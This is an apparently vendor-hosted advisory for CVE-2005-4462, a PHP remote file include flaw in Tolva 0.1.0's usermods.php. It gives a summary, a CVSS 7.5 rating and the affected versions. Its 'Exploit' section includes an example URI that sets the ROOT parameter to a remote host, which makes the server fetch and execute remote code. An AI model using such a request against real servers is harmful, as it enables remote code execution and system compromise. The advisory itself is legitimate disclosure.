CVE-2005-4462 - Tolva Usermods.PHP Remote File Include Vulnerability

Publication

2005-12-21

Last modification

2018-10-19

Summary

PHP remote file include vulnerability in usermods.php in Tolva PHP website system 0.1.0 allows remote attackers to execute arbitrary code via a URL in the ROOT parameter.

Description

Tolva is prone to a remote file-include vulnerability. An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may help the attacker compromise the application and the underlying system; other attacks are also possible.

Solution

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:info@vumetric.com.

Exploit

No exploit is required. An example URI has been provided: http://www.example.com/twebs/modules/misc/usermods.php?ROOT=http://www.example.com

Risk level (CVSS AV:N/AC:L/Au:N/C:P/I:P/A:P)

High

7.5

Access Vector

  • Network
  • Adjacent Network
  • Local

Access Complexity

  • Low
  • Medium
  • High

Authentication

  • None
  • Single
  • Multiple

Confident. Impact

  • Complete
  • Partial
  • None

Integrity Impact

  • Complete
  • Partial
  • None

Affected Products

Vendor Product Versions
Tolva Tolva  0.1.0